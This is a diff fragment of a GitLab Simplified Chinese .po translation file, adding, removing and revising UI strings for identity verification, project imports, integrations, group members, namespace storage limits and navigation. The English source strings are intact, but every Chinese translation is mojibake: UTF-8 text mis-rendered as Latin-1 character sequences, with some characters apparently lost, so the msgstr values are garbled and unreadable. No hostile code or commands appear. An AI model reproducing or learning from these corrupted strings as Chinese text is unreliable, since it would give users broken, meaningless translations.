msgid "IdentityVerification|We sent a new code to +%{phoneNumber}"
-msgstr ""
+msgstr "æˆ‘ä»¬å‘ +%{phoneNumber} å‘é€äº†ä¸€ä¸ªæ–°éªŒè¯ç "
msgid "IdentityVerification|We've sent a verification code to +%{phoneNumber}"
-msgstr ""
+msgstr "æˆ‘ä»¬å‘ +%{phoneNumber} å‘é€äº†ä¸€ä¸ªéªŒè¯ç "
msgid "IdentityVerification|You can always verify your account at a later time to create a group."
msgstr "您å¯ä»¥ç¨åŽéšæ—¶éªŒè¯æ‚¨çš„å¸æˆ·ï¼Œæ¥åˆ›å»ºä¸€ä¸ªç¾¤ç»„。"
@@ -20512,9 +20744,6 @@ msgstr "如果å¯ç”¨ï¼Œåˆ™åªä¼šé•œåƒå—ä¿æŠ¤çš„分支。"
msgid "If no options are selected, only administrators can register runners."
msgstr "如果没有选定选项,åªæœ‰ç®¡ç†å‘˜å¯ä»¥æ³¨å†ŒRunner。"
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr "如果这些选项都ä¸èµ·ä½œç”¨ï¼Œè¯·å°è¯•è”系管ç†å‘˜ã€‚"
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr "如果活跃用户数é‡è¶…过了用户é™åˆ¶ï¼Œæ‚¨ä¸‹æ¬¡çš„许å¯è¯å¯¹è´¦æ—¶å°†ä¼šæ”¶å–%{users_over_license_link}个席ä½çš„费用。"
@@ -20536,6 +20765,9 @@ msgstr "如使用 GitHub,GitHubçš„æ交(commits)和拉å–请求(pull request)
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr "如果将%{codeStart}needs%{codeEnd}加到æµæ°´çº¿çš„作业里é¢ï¼Œæ‚¨å°†å¯ä»¥åœ¨%{linkStart}有å‘无环图 (DAG)%{linkEnd}页é¢çœ‹åˆ°ä½œä¸šä¹‹é—´çš„%{codeStart}needs%{codeEnd}关系。"
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr "如果您无法登录或æ¢å¤å¯†ç ï¼Œè¯·è”系管ç†å‘˜ã€‚"
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr "如果您没有å‘起这些登录å°è¯•ï¼Œè¯·è”系您的管ç†å‘˜æˆ–在您的å¸æˆ·ä¸Šå¯ç”¨åŒé‡èº«ä»½éªŒè¯ï¼ˆ2FA)。"
@@ -20754,12 +20986,24 @@ msgstr "高级导入设置"
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr "ç¦æ­¢çš„导入URL: %{message}"
+msgid "ImportProjects|Cancel import"
+msgstr "å–消导入"
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr "å–消项目导入失败"
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr "å–消项目导入失败:%{reason}"
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr "将仓库 %{project_safe_import_url} 导入到 %{project_full_path} 时出错:%{message}"
msgid "ImportProjects|Import repositories"
msgstr "导入仓库"
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr "导入的文件将被ä¿ç•™ã€‚您å¯ä»¥ç¨åŽå†æ¬¡å¯¼å…¥æ­¤ä»£ç åº“。"
+
msgid "ImportProjects|Importing the project failed"
msgstr "导入项目失败"
@@ -20807,7 +21051,7 @@ msgid "Improve customer support with Service Desk"
msgstr "通过æœåŠ¡å°æ”¹å–„客户支æŒ"
msgid "Improve quality with test cases"
-msgstr ""
+msgstr "通过测试用例æ高质é‡"
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr "在拉å–é•œåƒçš„情况下,您的用户将æˆä¸ºæ´»åŠ¨æè¦ä¸­æ‰€æœ‰ä½œä¸ºæ›´æ–°ç»“果的事件的作者,例如创建新分支或将新æ交推é€åˆ°çŽ°æœ‰åˆ†æ”¯ã€‚"
@@ -21377,7 +21621,7 @@ msgid "Incident Management Limits"
msgstr "事件管ç†é™åˆ¶"
msgid "Incident creation cancelled."
-msgstr ""
+msgstr "事件创建已å–消。"
msgid "Incident details"
msgstr "事件详情"
@@ -21386,7 +21630,7 @@ msgid "Incident template (optional)."
msgstr "事件模æ¿ï¼ˆå¯é€‰ï¼‰ã€‚"
msgid "Incident title"
-msgstr ""
+msgstr "事件标题"
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
msgstr "剩余%{hours}å°æ—¶%{minutes} 分钟"
@@ -21707,7 +21951,7 @@ msgid "Indicates whether this runner can pick jobs without tags"
msgstr "指示此runner是å¦å¯ä»¥é€‰æ‹©æ— æ ‡è®°çš„作业"
msgid "Info"
-msgstr ""
+msgstr "ä¿¡æ¯"
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr "通知用户没有上传SSH密钥,如果没有SSH秘钥,将无法通过SSH推é€ã€‚"
@@ -21817,8 +22061,8 @@ msgstr "洞察"
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr "é…置自定义报告æ¥æ·±å…¥äº†è§£æ‚¨çš„群组进度,例如æ¯æœˆçš„议题数é‡ã€bug æ•°é‡å’Œåˆå¹¶è¯·æ±‚æ•°é‡ã€‚%{linkStart}如何é…置洞察报告?%{linkEnd}"
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
-msgstr "有些æ¡ç›®ä¸å¯è§ï¼Œç”±äºŽå·²åœ¨insights.yml文件中筛选掉(è§projects.onlyé…置以了解更多信æ¯)。"
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
+msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr "此项目已在insights.yml文件中筛选掉(è§projects.onlyé…置以了解更多信æ¯)。"
@@ -21878,9 +22122,18 @@ msgstr "一æ¡è¯„论被添加到议题。"
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr "一个ç§å¯†è®®é¢˜å·²åˆ›å»ºã€æ›´æ–°æˆ–关闭"
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr "部署已开始或已完æˆ"
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr "一个åˆå¹¶è¯·æ±‚已创建ã€æ›´æ–°æˆ–åˆå¹¶"
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr "记录了一个新的ã€ç‹¬ç‰¹çš„警报"
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr "记录了一个新的ã€ç‹¬ç‰¹çš„æ¼æ´žã€‚(注æ„:此功能需è¦æ——舰版)"
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr "æµæ°´çº¿çŠ¶æ€å˜æ›´"
@@ -21981,7 +22234,7 @@ msgid "Integrations|Enable comments"
msgstr "å¯ç”¨è¯„论"
msgid "Integrations|Enable slash commands and notifications for a Slack workspace."
-msgstr ""
+msgstr "为 Slack 工作区å¯ç”¨å‘½ä»¤å’Œé€šçŸ¥ã€‚"
msgid "Integrations|Ensure your instance URL is correct and your instance is configured correctly. %{linkStart}Learn more%{linkEnd}."
msgstr "ç¡®ä¿æ‚¨çš„实例 URL 正确且您的实例é…置正确。%{linkStart}了解更多%{linkEnd}。"
@@ -22017,7 +22270,7 @@ msgid "Integrations|GitLab administrators can set up integrations that all proje
msgstr "GitLab 管ç†å‘˜å¯ä»¥è®¾ç½®ä¸€ä¸ªç¾¤ç»„中所有项目默认继承和使用的集æˆï¼Œè¿™äº›é›†æˆåº”用于所有尚未使用自定义设置的项目, 如果项目需è¦è®¾ç½®ï¼Œæ‚¨å¯ä»¥è¦†ç›–自定义设置。 了解更多关于 %{integrations_link_start}群组级集æˆç®¡ç†%{link_end}。"
msgid "Integrations|GitLab for Slack app"
-msgstr ""
+msgstr "GitLab for Slack 应用"
msgid "Integrations|Group-level integration management"
msgstr "群组级集æˆç®¡ç†"
@@ -22031,6 +22284,9 @@ msgstr "包括æ交标题和分支。"
msgid "Integrations|Instance-level integration management"
msgstr "实例级集æˆç®¡ç†"
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr "当议题在Jira中设定的项目中创建åŽï¼ŒJira中创建的议题会显示于此。"
@@ -22368,7 +22624,7 @@ msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this gr
msgstr "ç›®å‰æ‚¨è¿˜æ²¡æœ‰é‚€è¯·ä»»ä½•äººåŠ å…¥è¿™ä¸ªç¾¤ç»„。 您å¯ä»¥é‚€è¯·æ‚¨çš„åŒäº‹åˆ°ç¾¤ç»„ç§ï¼Œä»¥æ–¹ä¾¿è®¨è®ºé—®é¢˜ï¼Œåœ¨åˆå¹¶è¯·æ±‚中进行å作,以åŠåˆ†äº«æ‚¨çš„知识。"
msgid "InviteMembersModal| Inviting a group %{linkStart}adds its members to your group%{linkEnd}, including members who join after the invite. This might put your group over the free %{count} user limit."
-msgstr ""
+msgstr "邀请一个群组会%{linkStart}将其æˆå‘˜æ·»åŠ åˆ°æ‚¨çš„群组%{linkEnd}中,包括邀请åŽåŠ å…¥çš„æˆå‘˜ã€‚è¿™å¯èƒ½ä¼šä½¿æ‚¨çš„群组超过å…费的 %{count} 个用户é™åˆ¶ã€‚"
msgid "InviteMembersModal| To get more members, the owner of this namespace can %{trialLinkStart}start a trial%{trialLinkEnd} or %{upgradeLinkStart}upgrade%{upgradeLinkEnd} to a paid tier."
msgstr "è¦èŽ·å¾—更多æˆå‘˜ï¼Œè¯¥å‘½å空间的所有者å¯ä»¥%{trialLinkStart}开始试用%{trialLinkEnd},或%{upgradeLinkStart}å‡çº§%{upgradeLinkEnd}到付费级别。"
@@ -22419,7 +22675,7 @@ msgid "InviteMembersModal|Members were successfully added"
msgstr "æˆå‘˜å·²æˆåŠŸæ·»åŠ "
msgid "InviteMembersModal|Please add members to invite"
-msgstr ""
+msgstr "请添加æˆå‘˜é‚€è¯·"
msgid "InviteMembersModal|Review the invite errors and try again:"
msgstr "请检查邀请错误并é‡è¯•ï¼š"
@@ -23232,6 +23488,9 @@ msgstr "Jira 实例的基础 URL。"
msgid "JiraService|Change GitLab version"
msgstr "更改 GitLab 版本"
+msgid "JiraService|Continue setup in GitLab"
+msgstr "在 GitLab 中继续设置"
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr "定义è¦ä»Žæ¼æ´žåˆ›å»ºçš„ Jira 议题的类型。"
@@ -23280,6 +23539,9 @@ msgstr "ID 必须是å¯ä»¥ç”¨ , 或 ; 分割的数字列表"
msgid "JiraService|If different from Web URL."
msgstr "如果与 Web URL ä¸åŒã€‚"
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr "为了完æˆè®¾ç½®ï¼Œæ‚¨éœ€è¦åœ¨ GitLab 中完æˆå‡ ä¸ªæ­¥éª¤ã€‚"
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr "由该项目中的æ¼æ´žåˆ›å»ºçš„问题将是 Jira 问题,å³ä½¿å¯ç”¨äº† GitLab 问题。"
@@ -23424,9 +23686,6 @@ msgstr "早于é…置时间的作业被视为已过期并已存档。无法å†é‡
msgid "Jobs|All"
msgstr "全部"
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr "加载失败的作业选项å¡æ—¶å‡ºé”™ã€‚"
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr "确定è¦ç»§ç»­å—?"
@@ -23605,7 +23864,7 @@ msgid "Job|This job is stuck because you don't have any active runners that can
msgstr "此作业已阻塞,因为没有å¯ç”¨çš„Runner处ç†æ­¤é¡¹ä½œä¸šã€‚"
msgid "Job|Update CI/CD variables"
-msgstr ""
+msgstr "æ›´æ–° CI/CD å˜é‡"
msgid "Job|Waiting for resource"
msgstr "等待资æº"
@@ -23689,7 +23948,7 @@ msgid "Key (PEM)"
msgstr "秘钥 (PEM)"
msgid "Key result"
-msgstr ""
+msgstr "关键结果"
msgid "Key:"
msgstr "Key:"
@@ -23742,9 +24001,6 @@ msgstr "Kubernetes集群"
msgid "Kubernetes cluster"
msgstr "Kubernetes集群"
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr "Kubernetes集群创建时间超过超时; %{timeout}"
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr "Kubernetes集群集æˆå’Œèµ„æºæ­£åœ¨è¢«åˆ é™¤ã€‚"
@@ -23837,13 +24093,13 @@ msgid "Labels can be applied to issues and merge requests to categorize them."
msgstr "标记å¯ç”¨äºŽå¯¹è®®é¢˜å’Œåˆå¹¶è¯·æ±‚进行分类。"
msgid "Labels can be applied to issues and merge requests. Group labels are available for any project within the group."
-msgstr ""
+msgstr "标记å¯ä»¥åˆ†é…给议题和åˆå¹¶è¯·æ±‚。群组标记å¯ç”¨äºŽç¾¤ç»„中的所有项目。"
msgid "Labels can be applied to issues and merge requests. Star a label to make it a priority label."
msgstr "标记å¯ä»¥åˆ†é…给议题和åˆå¹¶è¯·æ±‚。为标记加星标å¯ä»¥ä½¿ä¹‹æˆä¸ºä¼˜å…ˆæ ‡è®°ã€‚"
msgid "Labels can be applied to issues, merge requests, and epics. Group labels are available for any project within the group."
-msgstr ""
+msgstr "标记å¯ä»¥åˆ†é…给议题ã€åˆå¹¶è¯·æ±‚å’Œå²è¯—。群组标记å¯ç”¨äºŽç¾¤ç»„中的所有项目。"
msgid "Labels with no issues in this iteration:"
msgstr "此迭代中没有议题的标记:"
@@ -23903,9 +24159,6 @@ msgstr "最新æµæ°´çº¿"
msgid "Last Seen"
msgstr "最åŽå‡ºçŽ°"
-msgid "Last Sync"
-msgstr "最近åŒæ­¥"
-
msgid "Last Used"
msgstr "最近使用"
@@ -23931,7 +24184,7 @@ msgid "Last event"
msgstr "最近活动"
msgid "Last login"
-msgstr ""
+msgstr "上次登录"
msgid "Last modified"
msgstr "最近修改"
@@ -24038,9 +24291,12 @@ msgstr "了解更多"
msgid "Learn More."
msgstr "了解更多。"
-msgid "Learn about signing commits with SSH keys."
+msgid "Learn about signing commits"
msgstr ""
+msgid "Learn about signing commits with SSH keys."
+msgstr "了解如何使用 SSH 密钥签åæ交。"
+
msgid "Learn how to %{link_start}contribute to the built-in templates%{link_end}"
msgstr "了解如何 %{link_start}贡献到内置的模æ¿%{link_end}"
@@ -24107,9 +24363,6 @@ msgstr "了解更多关于欠缺席ä½çš„ä¿¡æ¯"
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr "在 %{configuration_link_start}高级æœç´¢é…ç½®%{configuration_link_end} 中了解更多关于切片和副本的信æ¯ï¼Œç›´åˆ°æ‚¨ %{recreated_link_start}é‡æ–°åˆ›å»º%{recreated_link_end} 索引,æ‰èƒ½è¿›è¡Œæ›´æ”¹ã€‚"
-msgid "Learn more about signing commits"
-msgstr "了解更多有关签åæ交的详细信æ¯"
-
msgid "Learn more in the"
msgstr "了解更多"
@@ -24711,7 +24964,7 @@ msgid "Locked by %{fileLockUserName}"
msgstr "被%{fileLockUserName}é”定"
msgid "Locked files"
-msgstr ""
+msgstr "é”定的文件"
msgid "Locked the discussion."
msgstr "é”定讨论."
@@ -24765,7 +25018,7 @@ msgid "Logs"
msgstr "日志"
msgid "Low - S4"
-msgstr ""
+msgstr "低 - S4"
msgid "Low vulnerabilities present"
msgstr "存在低å±æ¼æ´ž"
@@ -24857,6 +25110,9 @@ msgstr "使用Web IDE在æµè§ˆå™¨ä¸­åˆ›å»ºå’ŒæŸ¥çœ‹æ›´æ”¹"
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr "GitLab Geoå¯ä»¥åˆ›å»ºGitLab实例的åªè¯»é•œåƒ, 使得从远端克隆和拉å–大型代ç ä»“库的时间大大缩短,从而æ高团队æˆå‘˜çš„工作效率。"
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr "ç¡®ä¿é€‰æ‹©ä¸€ä¸ªå¼ºå¤§ä¸”唯一的密ç ã€‚"
@@ -24872,9 +25128,6 @@ msgstr "将此 %{type} 设置为ç§å¯†ã€‚"
msgid "Manage %{workspace} labels"
msgstr "ç®¡ç† %{workspace} 标记"
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr "ç®¡ç† Web IDE 功能。"
@@ -24974,6 +25227,9 @@ msgstr "将此议题标记为与å¦ä¸€ä¸ªè®®é¢˜çš„相关"
msgid "Mark to do as done"
msgstr "将待办事项标记为已完æˆã€‚"
+msgid "Markdown"
+msgstr "Markdown"
+
msgid "Markdown Help"
msgstr "Markdown帮助"
@@ -25043,9 +25299,6 @@ msgstr "标记为已准备好。现在å…许åˆå¹¶ã€‚"
msgid "Marked this %{noun} as ready."
msgstr "已将 %{noun} 标记为准备就绪。"
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr "标记这个议题为%{duplicate_param}çš„é‡å¤é¡¹ã€‚"
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr "将此议题标记为%{issue_ref}的相关议题。"
@@ -25058,9 +25311,6 @@ msgstr "标记"
msgid "Marks this %{noun} as ready."
msgstr "将 %{noun} 标记为就绪。"
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr "将此议题标记为 %{duplicate_reference} çš„é‡å¤ã€‚"
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr "将此议题标记为%{issue_ref}的相关议题。"
@@ -25374,7 +25624,7 @@ msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr "以代ç å­—节为å•ä½ã€‚排除生æˆçš„代ç å’Œä¾›åº”商代ç ã€‚"
msgid "Medium - S3"
-msgstr ""
+msgstr "中 - S3"
msgid "Medium timeout"
msgstr "中等超时"
@@ -25398,10 +25648,13 @@ msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or
msgstr "邀请加入%{project_or_group}%{project_or_group_name}"
msgid "MemberRole|can't be changed"
-msgstr ""
+msgstr "无法更改"
+
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr "无法更改,因为它已分é…给用户。请改为创建新的æˆå‘˜è§’色"
msgid "MemberRole|must be top-level namespace"
-msgstr ""
+msgstr "必须是顶级命å空间"
msgid "Members"
msgstr "æˆå‘˜"
@@ -25435,6 +25688,9 @@ msgstr[0] "您的订阅包括 %d 个席ä½ã€‚"
msgid "Membership"
msgstr "æˆå‘˜èµ„æ ¼"
+msgid "Members|%{group} by %{createdBy}"
+msgstr "%{group} 由 %{createdBy} 创建"
+
msgid "Members|%{time} by %{user}"
msgstr "于%{time}由%{user}"
@@ -25444,6 +25700,21 @@ msgstr "%{userName}当å‰æ˜¯LDAP用户。编辑其æƒé™å°†è¦†ç›–LDAP组åŒæ­¥ä¸
msgid "Members|2FA"
msgstr "2FA"
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr "已授予访问æƒé™"
+
+msgid "Members|Activity"
+msgstr "活动"
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr "å°è¯•å¯ç”¨LDAP覆盖时å‘生错误,请é‡è¯•ã€‚"
@@ -25465,11 +25736,11 @@ msgstr "您确定è¦ç¦»å¼€\"%{source}\"å—?"
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr "您确定è¦åˆ é™¤\"%{groupName}\"å—?"
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
-msgstr "您确定è¦ä»Žâ€œ%{source}â€ä¸­åˆ é™¤%{usersName}å—?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
+msgstr "您确定è¦ä»Ž “%{group}“ 中移除 %{userName} å—?"
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
-msgstr "您确定è¦ä»Žâ€œ%{source}â€ä¸­åˆ é™¤è¿™ä¸ªå­¤ç«‹çš„æˆå‘˜å—?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
+msgstr "您确定è¦ä»Ž %{group} 中删除这个孤立的æˆå‘˜å—?"
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
msgstr "你确定è¦æ’¤é”€%{inviteEmail}加入\"%{source}\"的邀请å—"
@@ -25477,9 +25748,15 @@ msgstr "你确定è¦æ’¤é”€%{inviteEmail}加入\"%{source}\"的邀请å—"
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr "你确定想è¦æ’¤å›žä½ å¯¹%{source}访问请求å—"
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr "直接"
+msgid "Members|Direct member by %{createdBy}"
+msgstr "ç”± %{createdBy} 创建的直接æˆå‘˜"
+
msgid "Members|Disabled"
msgstr "å·²ç¦ç”¨"
@@ -25507,6 +25784,9 @@ msgstr "继承"
msgid "Members|LDAP override enabled."
msgstr "LDAP覆盖已å¯ç”¨ã€‚"
+msgid "Members|Last activity"
+msgstr "最åŽæ´»åŠ¨"
+
msgid "Members|Leave \"%{source}\""
msgstr "离开\"%{source}\""
@@ -25534,6 +25814,12 @@ msgstr "æœç´¢ç¾¤ç»„"
msgid "Members|Search invited"
msgstr "æœç´¢å·²é‚€è¯·"
+msgid "Members|User created"
+msgstr "用户已创建"
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr "æ‹’ç»è®¿é—®"
@@ -25819,11 +26105,14 @@ msgstr "关闭建议弹窗时出错。请å†è¯•ä¸€æ¬¡ã€‚"
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr "加载完整差异时出错。请å†è¯•ä¸€æ¬¡ã€‚"
+msgid "MergeRequest|Failed to load the page"
+msgstr "加载页é¢å¤±è´¥"
+
msgid "MergeRequest|No files found"
msgstr "未找到任何文件"
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
-msgstr "æœç´¢ï¼ˆä¾‹å¦‚ *.vue)(%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
+msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
msgstr "%{sourceTopic} 将被删除"
@@ -25882,6 +26171,9 @@ msgstr "消æ¯"
msgid "Messages"
msgstr "消æ¯"
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr "方法"
@@ -26307,6 +26599,12 @@ msgstr "æœç´¢é‡Œç¨‹ç¢‘"
msgid "MilestoneCombobox|Select milestone"
msgstr "选择里程碑"
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr "关闭:"
@@ -26527,7 +26825,7 @@ msgid "Modal|Close"
msgstr "关闭"
msgid "Model candidate details"
-msgstr ""
+msgstr "候选模å¼è¯¦ç»†ä¿¡æ¯"
msgid "Modified"
msgstr "已修改"
@@ -26703,6 +27001,9 @@ msgstr "支æŒå¤šä¸ª IP 地å€èŒƒå›´ã€‚ä¸å½±å“对群组设置的访问。"
msgid "Multiple Prometheus integrations are not supported"
msgstr "ä¸æ”¯æŒå¤šä¸ªPrometheus集æˆ"
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr "应用于轮询间隔的乘数。支æŒå进制值。默认为 1。"
@@ -26727,6 +27028,9 @@ msgstr "新建"
msgid "Name"
msgstr "å称"
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr "å称åªèƒ½åŒ…å«å­—æ¯ã€ 数字〠emojis〠'_'〠'.'〠'+'〠破折å·æˆ–空格"
+
msgid "Name can't be blank"
msgstr "å称ä¸èƒ½ä¸ºç©º"
@@ -26736,6 +27040,9 @@ msgstr "å称已被使用"
msgid "Name is already taken."
msgstr "å称已被å ç”¨ã€‚"
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr "å称必须以字æ¯ã€æ•°å­—ã€emoji 或 '_' 开头。"
+
msgid "Name new label"
msgstr "命å新标记"
@@ -26758,24 +27065,36 @@ msgid "NamespaceStorageSize|%{namespace_name} contains %{locked_project_count} l
msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_count} locked projects"
msgstr[0] "%{namespace_name}包å«%{locked_project_count}个é”定的项目"
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
-msgstr "%{namespace_name}ç›®å‰ä¸ºåªè¯»çŠ¶æ€ã€‚您ä¸èƒ½ï¼š%{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
-msgstr "如果你已使用100%%存储容é‡ï¼Œä½ å°†æ— æ³•: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
+msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
-msgstr "请购买更多的存储空间以解é”超过å…è´¹%{free_size_limit}é™åˆ¶çš„项目。你ä¸èƒ½ %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
+msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
-msgstr "您已ç»ç”¨å°½æ‰€æœ‰æ›´å¤šçš„存储空间,请购买更多空间以解é”超过å…è´¹%{free_size_limit}é™åˆ¶çš„项目。你ä¸èƒ½ %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
+msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
-msgstr "你已使用了%{namespace_name}存储空间的%{usage_in_percent}(总计%{storage_limit},已使用%{used_storage})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
+msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr "您已ç»è¾¾åˆ°äº†ä¸€ä¸ªæˆ–多个项目的 %{free_size_limit} çš„å…费存储é™åˆ¶ã€‚"
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr "推é€åˆ°æ‚¨çš„仓库,创建æµæ°´çº¿ï¼Œåˆ›å»ºè®®é¢˜æˆ–添加评论。如需å‡å°‘存储使用,请删除未使用的仓库,产物,wiki,议题和æµæ°´çº¿ã€‚"
@@ -26801,7 +27120,7 @@ msgid "NamespaceStorage|Buy more storage"
msgstr "购买更多存储"
msgid "NamespaceStorage|Uploads are not counted in namespace storage quotas."
-msgstr ""
+msgstr "上传文件ä¸è®¡å…¥å‘½å空间存储é…é¢ã€‚"
msgid "NamespaceStorage|We recommend that you buy additional storage to ensure your service is not interrupted."
msgstr "我们建议您购买é¢å¤–存储,确ä¿æ‚¨çš„æœåŠ¡ä¸ä¸­æ–­ã€‚"
@@ -26869,6 +27188,27 @@ msgstr "浅红"
msgid "NavigationTheme|Red"
msgstr "红色"
+msgid "Navigation|Context navigation"
+msgstr "上下文导航"
+
+msgid "Navigation|Recent groups"
+msgstr "最近的群组"
+
+msgid "Navigation|Recent projects"
+msgstr "最近的项目"
+
+msgid "Navigation|Switch to..."
+msgstr "切æ¢åˆ°..."
+
+msgid "Navigation|View all groups"
+msgstr "查看所有群组"
+
+msgid "Navigation|View all projects"
+msgstr "查看所有项目"
+
+msgid "Navigation|Your work"
+msgstr "您的工作"
+
msgid "Nav|Help"
msgstr "帮助"
@@ -26982,7 +27322,7 @@ msgid "New branch unavailable"
msgstr "新分支ä¸å¯ç”¨"
msgid "New code quality findings"
-msgstr ""
+msgstr "新建代ç è´¨é‡å‘现"
msgid "New confidential epic title "
msgstr "新建ç§å¯†å²è¯—标题 "
@@ -26996,9 +27336,6 @@ msgstr "新建部署密钥"
msgid "New directory"
msgstr "新建目录"
-msgid "New discussion"
-msgstr "新建讨论"
-
msgid "New email address added"
